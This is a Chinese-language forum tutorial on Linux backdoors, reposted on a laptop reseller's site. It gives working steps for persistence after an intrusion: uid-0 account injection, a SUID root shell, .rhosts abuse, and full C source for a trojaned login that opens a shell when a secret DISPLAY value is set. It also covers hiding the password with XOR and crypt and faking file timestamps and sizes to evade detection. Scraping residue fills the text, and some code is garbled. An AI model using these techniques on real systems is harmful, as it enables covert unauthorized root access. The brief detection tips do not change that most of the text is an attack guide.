QQ在线服务: 风舞残阳风舞残阳 年满19岁年满19岁 小罗小罗 晴天晴天 心雨心雨 叮叮肉叮叮肉 小周小周 小童小童 小破孩小破孩 遥望当年遥望当年

用户导购指南

水货IBM笔记本电脑报价

行货IBM笔记本电脑报价

IBM服务器报价

IBM笔记本电脑配件报价

本周水货IBM笔记本电脑特价

IBM笔记本电脑驱动下载

水货IBM笔记本电脑验机流程

水货IBM笔记本电脑保修政策

IBM笔记本电脑FRU查询

IBM笔记本电脑常见问题

IBM笔记本电脑使用手册

笔记本电脑验机软件

论坛积分使用说明

水货IBM笔记本电脑异地购机流程

笔记本电脑购机经历及现场

贵宾申请入口

贵宾用户FTP入口

查看笔记本配置

水货APPLE苹果笔记本电脑报价

 
发新话题
打印

[linux教程] Linux后门技术及实践

Linux后门技术及实践

后门简介+ F' T. {5 B: G! o: F4 I7 M

. ~7 M5 D! K& r  入侵者完全控制系统后,为方便下次进入而采用的一种技术
4 \# y6 U/ {1 ~: U& X" S. y; [( G* N- |; h- w1 M) ^
  一般通过修改系统配置文件和安装第三方后门工具来实现。具有隐蔽性,能绕开系统日志,不易被系统管理员发现等特点。5 ]& z# Z0 V+ W! z
4 j5 i3 z. @8 C
  常用后门技术& T# B! k' R% ]5 F0 y" o

3 y9 Y0 e* f! ]: V5 B. s   增加超级用户账号! e! W  ~3 }1 b- b% ~- \
   破解/嗅探用户密码
' H- R# m' @7 Z' n; n   放置SUIDShell
* d# O, c$ M8 h4 p3 B# N0 z# p   rhosts
" f( ^& p! q& J3 R. f2 C9 E   利用系统服务程序
  x4 |) [4 t/ u) {   TCP/UDP/ICMPShell
  s; d1 Y! w  }5 Y/ A& N   Crontab定时任务
1 f# A/ V4 w& ~4 m  T   共享库文件
+ [; |- t5 z) S2 }+ R. |, S   工具包rootkit3 ?0 W) n2 k3 K( H
   可装载内核模块(LKM)
7 _* V$ q( l) p1 k+ K
; ^; H4 [, z0 g1 e& P  增加超级用户
6 I- c) x. _) D# `$ {, H3 u! n, ~. m) b) {, I7 |' p4 p
: F% s5 z2 ]; I/ Q2 A' y

& S* _$ O# H7 E
5 r5 I, w; Q4 G. w. a4 d# J, I0 i9 j0 X# a" x+ L+ W# n4 r- j
#echo"e4gle:x:0:0::/:/bin/sh"%26gt;%26gt;/etc/passwd
8 n" {( D( [+ {% ]3 W: @# \) ^#echo"e4gle::-1:-1:-1:-1:-1:-1:500"%26gt;%26gt;/etc/shadow
$ t- R' ^6 J/ U& @9 Q' |' z) k  如果系统不允许uid=0的用户远程登录,还需要增加一个普通用户账号。
5 {3 t/ A: F- ~: D* C2 o4 C
2 p' f- W" U) J- H2 e! Y6 A  破解/嗅探用户密码
6 [$ U6 Q5 O% i8 \4 N) V
" [3 r$ n" w& ?. o4 s  获得shadow文件后,用JohntheRipper工具破解薄弱的用户密码。安装sniffit等嗅探工具,监听telnet、ftp等端口,收集用户密码。
, |! ~$ Q2 b0 z3 l& H2 n
" h6 c! t* m, ^  放置SUIDShell  }% W8 H% U' y1 f- r( ]) J

, V! P( V; l0 n. v& ]  ^. U* r* z  s( b

4 K$ D( a' J5 G! ?: K" Q. l1 D- C8 \" X. e  ]
- g  v: U! I/ _! C$ P- K  K
#cp/bin/bash/dev/.rootshell
. R  u3 x7 F- O#chmodus/dev/.rootshell& |. |9 t: o: O
  普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。- J* Z1 y5 B! B; ^$ N7 U
1 @0 R$ `+ U; E8 w
- O; a. L3 I. g+ z$ E7 V

: t7 S; c1 d, S4 A
  t: d6 L/ m3 i) [' W" R0 j  c4 G, O
rhosts2 ?2 [3 J) b' |; Q- [

( |: u* f1 R* _( B! h#echo""%26gt;/.rhosts
& S1 ~. b' h9 e$ \& F- t#rsh-lrootvictim.comcsh-i
* n: ~$ U# _. F; Z  远程可以得到一个rootshell。
: f# V6 C* u: Q6 r
- w6 F7 `5 J0 _8 a3 }  利用系统服务程序
. L3 Z; `( A; a0 ?# z- U, d0 O* M
9 J" ?9 l: U, Q3 b/ p  修改/etc/inetd.conf,daytimestreamtcpnowait/bin/shsh-I;用trojan程序替换in.telnetd、in.rexecd等inted的服务程序
6 |7 q: l* Z( M' O# n重定向login程序  M6 ^9 e& M" c; P# b
9 ^" z% i" C/ ~+ H& M' g
TCP/UDP/ICMPShell
4 b& @* m& q; @. B) j5 X( O5 Y
* C" q- \$ x# \  BindShell,大部分是基于TCP/UDP协议的网络服务程序,在高端口监听,很容易被发现。PingBackdoor,通过ICMP包激活后门,形成一个Shell通道。
6 j0 D" X2 n, ?. n. ~, B) N5 r" p8 l  p
  TCPACK数据包后门,能够穿越防火墙
  U, D9 t) ~% i, u/ j9 C' V; I
2 L- B: y2 Z" ~7 ]# m: [7 [  Crontab定时任务
. o; r) o- {/ ^' B) A# ]! M4 H! ?! ^# A! M6 y: d
  通过Crontab程序调度已安装的后门程序定时运行,一般在深夜时段,是系统管理员不在线的时间0 D; V. \4 l% z

$ }9 s+ @+ O$ [: b$ p  共享库文件
% W" ^& F0 @) i' M" {4 P7 O5 V# R0 ~& s2 C/ O% q" a- \  Y/ C
  在共享库中嵌入后门函数使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的校验
  |! }$ s5 f% E$ s7 S+ [
7 `% R3 Y( |4 |  工具包rootkit* G1 x% P/ E! B2 m2 E" [6 w8 X
- L# }5 d' W, U7 }# X
  包含一系列系统及后门工具:
  Y1 U/ D: `  \# o4 p& U( m: I9 B# s$ t. n/ @2 o0 o1 s4 h; a
   -清除日志中的登录记录/ W+ _& L; B" {8 o$ V2 m5 n
   -伪装校验和" z% Z9 ]& r$ ?  ~
   -替换netstat、ps等网络工具
; y% C! z+ X; w- F3 V# J   -后门登录程序易于安装和使用
+ L3 \) ?! O5 g4 s) R/ j2 e9 h' i6 I8 m5 H! H3 K, a, s
  可装载内核模块(LKM)& `" ]/ e! Y7 x
# S5 ^9 {  w+ L( m% Z
  LKM:LoadableKernelModules动态的加载,不需要重新编译内核。
( F* W& z% P( f8 c/ ?! c
5 A" _1 o- Z! h; }2 U, C: c  截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能- C% T- Y$ _- @8 R2 c" x9 s3 F* ]

, j' ^; ~9 s5 x9 j4 N9 s9 `* A/ e  自身隐蔽性好,发现难度较大。4 ?: s/ _$ C  X. N& P

' q* Y  Z& N% I: j2 t# t  著名的LKM包有adore和knark。6 Z9 \! E  g1 B- A+ \/ p8 ]# U3 G

$ M9 z: G+ R. L9 a  后门的检测
6 `" M0 Y6 A7 d. v6 _: Z, B, ~- E! A' S6 s3 `$ r: a: e) Y
  以自己的经验,结合特定的工具,手工作一些检测。: G$ E# x# \+ `/ W! E

6 ?3 _- h! j0 M0 `$ m1 |3 M. Y8 `  使用Tripwire或md5校验来检查系统。
" h2 B9 l( i) X+ ?) \; p$ T* w: f. l/ M
  借助IDS系统,监听到目标机器的可疑网络连接。
& W4 m7 f2 {" j
1 |  U% e1 i% T) b  实例:login后门- `1 {" o9 ]  D: H1 ]

) d; ~- D+ }- U+ ]0 c  入侵者先把原始的/bin/login备份,再用一段程序替换/bin/login。入侵者telnet登录进来的时候,通过环境变量或者终端
0 d/ p0 U6 C, t; L传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,将会重定向到原始的login文件,来处理正常的登录。% M3 J- U: {/ S

0 o, F0 Z( r% G* ?. f5 U$ |! G" e  最简单的login后门ulogin.c源代码如下:
4 d/ h8 M" C$ `, n& y3 ~
; r- S" Z2 c/ y2 ?: H  实例:login后门
: `. M/ r* @5 |/ N) K, ?9 I+ p9 o4 R6 ^- w* j- E4 j

* f" B  l+ g" H9 k) E0 l5 q( {. X  V7 p2 b

: }- z+ P5 |' W( v6 F/ I. ?: N& j5 m, N0 O+ \+ u  o
#include%26lt;stdio.h%26gt;6 |  Q3 l# W- i' m2 u* n) l
#definePASSWORD"passWORD") x7 z; X! i8 r) R6 L* U  p/ M  N) d
#define_PATH_LOGIN"/sbin/logins"
% P/ `  \+ @' Q: @7 @1 D, s! |) U5 ?$ D1 T2 z- }3 t
main(argc,argv,envp)- x7 u/ R4 f; l& P6 U: o. ^
intargc;
" l+ k: ?7 }, @% y8 r) rchar**argv,**envp;: o  X8 y3 a$ W/ _9 P
{. c) l8 i* V" L- }8 }
 char*display=getenv("DISPLAY");
7 R0 B" ]- R  \ if(display==NULL){
& J3 G& U4 f9 L4 B4 k  execve(_PATH_LOGIN,argv,envp);8 o. E( R3 {; f
  perror(_PATH_LOGIN);: v) g* f" C$ K& e  \: a
  exit(1);: n& @3 l2 y8 [( v  }
 }- A( a2 p3 ~- T% W3 }4 x" O: Y
 if(!strcmp(display,PASSWORD)){4 Z9 `5 i1 L# |! c$ J* W0 r
  system("/bin/csh");
  z0 [1 o. D7 I1 D* a  exit(1);5 v* G2 T8 ^4 @7 B1 Q7 S
 }
6 @# c9 A  _8 m execve(_PATH_LOGIN,argv,envp);8 O' V5 Y; e" @1 h5 o8 m
 exit(1);' H% i  U4 Q, i1 K+ @; c8 T, p
}
4 F3 S0 }0 i6 P( G7 s% A  利用后门登录
* L4 V+ X7 H7 S1 X) s3 G% A, z$ ?9 P: a7 J
  首先Telnet服务是打开的,在自己机器上:0 |  v& a- f% M. J( c8 g

7 A5 p2 F( D1 P. B% d! U+ y. L
1 V# J1 |5 q$ @" a  y2 k1 z$ o1 o, b4 r8 i4 ~
) O! |2 q+ S5 w: V( z
& L; }! |2 U& P
bash$exportDISPLAY=passWORD
3 q* l  L$ h, j1 Q/ `' abash$telnetvictim.com8 F+ |- s! \" o2 t6 Y  D( A
Tryingxxx.xxx.xxx.xxx...
1 t4 B% u9 w7 t! N/ k! q9 i4 n2 GConnectedtovictim.com(xxx.xxx.xxx.xxx).2 i6 F! \0 Q1 V: Y2 Y
Escapecharacteris'^]'.
7 ]3 e8 A4 b2 u/ Q9 d  u2 v) @%_
  \! g8 g3 M7 y( ?& k  strings命令/ E+ I9 Q9 x6 [% o6 G

" m& z6 T  Y# N  strings命令能够打印出二进制文件中的可显示字符串,用于刚才的ulogin程序:1 \' o6 k" J! j: a  g
, }$ M  ~6 W8 r8 j( c+ q

' I% l# n" x' ?
' l3 M6 }# w: \8 x' n, [. @* s  u$ W) ~9 _' L( B- ?
" F) u" ?# K: j, [1 [
bash$stringsulogin
& t0 d" e6 \& W. _/lib/ld-linux.so.2
% c! Z- z8 ~# G# s0 `" b# w..............
& ]6 U% W/ B' N6 t! XDISPLAY$ l+ f, V6 T" O. p1 U
/sbin/logins2 W5 i# {$ J0 [- ^/ H/ J" k! a. m
passWORD  c- x$ x6 j. L. s/ n  p, s" t
/bin/csh  y6 U5 F; `8 ], u
  加密后门密码
, q2 C- |" t9 b* Y4 E2 ]) S+ l0 R: F: i( j4 f3 y
  1,采用DES算法,即crypt()函数,编写gen.c程序:
+ p# ^: |5 c' p; d4 U, y
) v' H4 d6 p7 \! \! x) Y9 I3 C, G, f; z0 P1 p# x& _8 y

4 B  q" N) J. K" d1 Z) K; @1 D8 T5 t' ]- h5 i- k# c) J  }9 }

- N1 \0 J" H. B+ H#include%26lt;unistd.h%26gt;
; X, q/ `7 S2 V# e2 o* j$ w$ j( gmain(intargc,char*argv[])
7 [- H; A' ], O2 F{& N6 O; y- n6 e8 L' ~2 ~; p
if(argc!=3){
5 T+ c- |. e* a* d- S6 `printf("usage:%s%26lt;password%26gt;%26lt;salt%26gt;\n",argv[0]);' q$ W/ V5 J: }
exit(1);2 S" t2 y/ j' {7 u
}
7 m7 a  [& k2 A# z+ Hprintf("%s\n",crypt(argv[1],argv[2]));% j9 k. x8 ?  x7 r/ v1 Z6 Z
}
( o, n& ~4 N. X' c% c4 v6 z2 `  2、编译为gen,执行./genhackui,得到的shadow结果为UiVqMWvDrIQjA。  a- V/ [9 q# p# r6 W

+ D7 |) q% E: s8 [, R/ @  3、修改后门源程序ulogin.c:4 M, l2 N5 P6 N/ g. `

! V5 V: P+ {) v8 {- n) B  --以密文形式的密码代替ulogin.c中define的宏PASSWORD值。
5 C9 }! i6 o5 Y+ b, F
! V# f- A  N3 Y  D' @5 O  --如果后门密码正确,直接给出Shell:
; P- |  K1 n) A* i, _
7 u; p4 Z) o( u% [
( K. z1 [" L) F% M5 O9 o) B5 e7 b. ]: z7 q$ E) I3 [( \

8 c. D5 A4 E1 T$ u! Z" P5 ^" `. r% G: D/ s3 N9 o5 @
if(!strcmp(PASSWORD,crypt(display,PASSWORD)))  D  A0 Q+ u5 G  z
{
$ ~* N6 L* v# E& C# psystem(SHELL);9 `5 W7 g( z. }8 c! V* ?' t
exit(1);
. o) ^0 P5 c8 ^# O0 J8 f# Y}9 q* U/ j# I. q7 H
  用strings命令只能看到加密过的密码。
) ]6 I, O5 X# g) Q4 g/ t2 H3 p: n! D+ w; V! e
  采用异或(XOR)算法( L6 ?1 m8 \  ?9 @" V( U+ t

( `% I+ G1 K8 K% O4 T0 ^  以十六进制方式表示字符串,以达到non-printable的效果
/ M2 x% D% x# a6 g* w/ u; y( Q% b( @. w4 R7 t- n. [
  1、编码程序encode.c如下:  ]  G& b8 A) Z5 J" D+ [

4 ~' `: R% \. P( V7 v  L1 {+ [
0 \6 k, I6 A8 R3 W2 R
! W( S4 l8 U7 e' c0 ~9 G* H1 j. y" j5 u
; z5 l# `7 m/ G1 Q2 v: \$ ~& R
' \6 H2 V/ [$ g, ^1 r8 O& ocharmagic[]="\x71\x67\x6d\x7a\x65\x61\x7a";; |9 V) H# R1 X& p# p( k
char*de(char*str,char*key)1 ^8 R" ~/ c; J2 m* K" p( O% p
{/ e' o8 x6 D7 ]4 @5 }3 U9 _% K7 }
inti=0,j=0,len;1 ^5 b, o/ x( ~% Z  K  s8 s
len=strlen(key);
# u. b  s5 Q# |2 K4 n/ ^/ t( x0 Uwhile(str!='\0'){8 m, T  B" M. L5 @) D) f5 h4 }
str^=key[j];* B1 t7 `9 r% Y$ [, [- T& l
j;- P! V, j0 a8 }$ V7 n6 G. y# u
if(j==len)j=0;% X2 z* d1 i9 x% d. Q& `+ P
i;, w& c" x# q: K+ A( `; r: u
}
! C2 ?; v7 v! Creturnstr;
% J2 y7 _' h; X+ z}
; y" q0 E) A6 gvoiddisplay(char*str)
( \' ]' H! z3 I1 E# w9 U{% o# h$ p3 @+ D
inti;
7 e) j6 L  f9 V/ L; o5 Hfor(i=0;i%26lt;strlen(str);i)printf("\\x%x",str);: {. z: a: m- E8 r1 }( R
printf("\n");
& b. B4 H2 _' w2 F% x1 I}
7 \- `4 k' a! Q. Nmain()3 n! J2 `7 G4 u, s
{
+ G  G  y4 O6 ^% ~$ Zchargets[100],*ptr;# P: P& e) ^7 P8 E: e
ptr=gets;0 ^+ L. s. |/ _) Z
scanf("%s",ptr);
" [4 i8 ^9 ?! X; @de(ptr,magic);display(ptr);
0 c/ q+ L2 e. h" W: E}
. Z8 B9 W' ~4 e! W  2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:; c' `/ n+ @) b
\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
1 h8 Z" t4 r( {: i; _
2 ^0 h( m0 {: s  3、在后门源代码中这样定义:* s4 ~/ q3 _% e7 M& q) [
% V/ D6 z$ `% e- J  m% ~

* g' f' X+ B5 R& k$ T3 l7 ]" ?- \: k2 Q* a1 L/ X
' |: o" H2 M) `* \5 w$ s

8 Q# v* o; @$ K4 R/ QChar
2 E, W7 D9 X3 l8 qlogin[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";. w* \! n! e9 Y0 [) h
  然后插入异或函数char*de()结合同一magic串,就能判断出正确的后门密码。
# U$ _4 L& v9 b; z: ^: }0 X0 j- f! [; n6 x
  用strings命令看不到密码、路径等字符串了。
7 U. c0 Y$ q, w% F! k) n4 y9 `2 h; Y* D3 X
  最后的修饰* v" M: q1 m. o4 e0 w( n

* F$ w( y; t  M1 H  使后门程序ulogin的strings输出类似于正常login的strings输出,做法为:" [$ q- L; e$ N# q$ H- D% w( u
& w$ C9 X' I$ _" `1 X6 G
  在ulogin.c代码中增加一个字符串数组charstrings[]="";,在引号中填入正常login程序的strings输出结果。2 s& p% _3 @4 \3 B, ?$ f3 f/ a6 V8 c
3 P1 {( b8 I" j+ C- d+ q& _
  以假乱真,增加迷惑性。' |5 N" N' C6 m2 R& T! T  v0 C6 L
1 |/ B7 b6 j% A+ T0 d
  调整后门程序的文件日期、大小等属性:
, q0 V/ z8 n, \# J; Q9 m
+ ^7 j& _" V+ _# q  1、日期
1 ^( U) S7 ~/ [: z1 z7 L& h
/ Y6 p+ h% M% M7 e# x1 x6 J, U6 y: l+ t
; j( z+ X& [* F3 Z
4 w' _: X( l* q: A1 w: {" d

$ B7 H0 |9 B, f/ P#ls-l/sbin/xlogin. J7 B7 b2 u' k
[color=#FFFFFF']
' J1 v) x" @( E5 h( e8 G7 E6 Z6 k, [. d
-r-sr-xr-xrootroot19300Feb111998
) H2 e8 o8 q" S) d7 g$ [/sbin/xlogin& }9 W+ P9 h. S3 p2 l* }2 o+ |
#touch-t199802110000ulogin. q: @) h- C. b7 j( }
#_
2 }, t1 l5 |6 r& F8 Z$ \  2、调整大小
2 X+ Z4 W- }0 a  ^; ]/ k4 T3 M+ r% Q8 K2 Y
7 _6 A/ \- I: `. d5 u- w/ L7 a

' b8 K% K  d3 R' W
: }( T+ Y9 k/ P2 K* H1 u' X% _8 K1 Q& J
#ls-lulogin/sbin/xlogin" f: a6 r; d$ M) T6 S, a
-r-sr-xr-xrootroot7542Feb111998ulogin4 J+ Y+ V8 z' r5 X
-r-sr-xr-xrootroot19300Feb111998/sbin/xlogin3 C/ c* y: G6 ^- I& C
#bc
+ N0 K% C$ m0 L! M19300-7542
, \: C& ?. t" a" t117587 q: q) ?2 Q0 @" \" P5 T
#ddif=/sbin/xloginof=/tmp/tbs=11758count=1
  z. P( u/ v7 M- S# n' j10recordsin: P5 c9 t; e, d9 S
10recordsout- }$ ]9 b. c0 A7 H
11758bytestransferredin0.000379secs(31016746
. x* L2 D' `( dbytes/sec)4 u2 Z  t; i& a6 M" Y7 ~2 k
#cat/tmp/t%26gt;%26gt;ulogin; x2 {" k% G+ N6 X! j$ p) D) X
( E. E4 v& u% S" I/ H$ z
  Login后门的检测
% J7 j+ Q, a+ R1 {' P; n  {. K, `8 _3 h  v; l
  使用命令md5sum对现有/bin/login文件作校验,与以前的值作比较。% i! {. L' X+ n8 ]
: o5 M5 [' S7 A. R
  使用RedHatLinux的RPM校验:' J/ \0 j# B: Y  K5 ?6 M7 n
* u+ v5 l1 N& t
#rpm-Vutil-linux5 \6 j) V% c8 b3 g% r0 Y
4 M8 H# H2 F* r) [) R
  在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login-hxxx.xxx.xxx.xxx的字样。
(※本文搜集自:重庆未来科技 http://www.wlkj.net 重庆IBM笔记本电脑、重庆IBM水货笔记本电脑、重庆苹果笔记本电脑、重庆IBM服务器专卖)

TOP

******请登陆论坛查看内容******

(※本文搜集自:重庆未来科技 http://www.wlkj.net 重庆IBM笔记本电脑、重庆IBM水货笔记本电脑、重庆苹果笔记本电脑、重庆IBM服务器专卖)
这是赤果果的灌水呐
What good would wings be
if you couldn't feel wind on your face

TOP

发新话题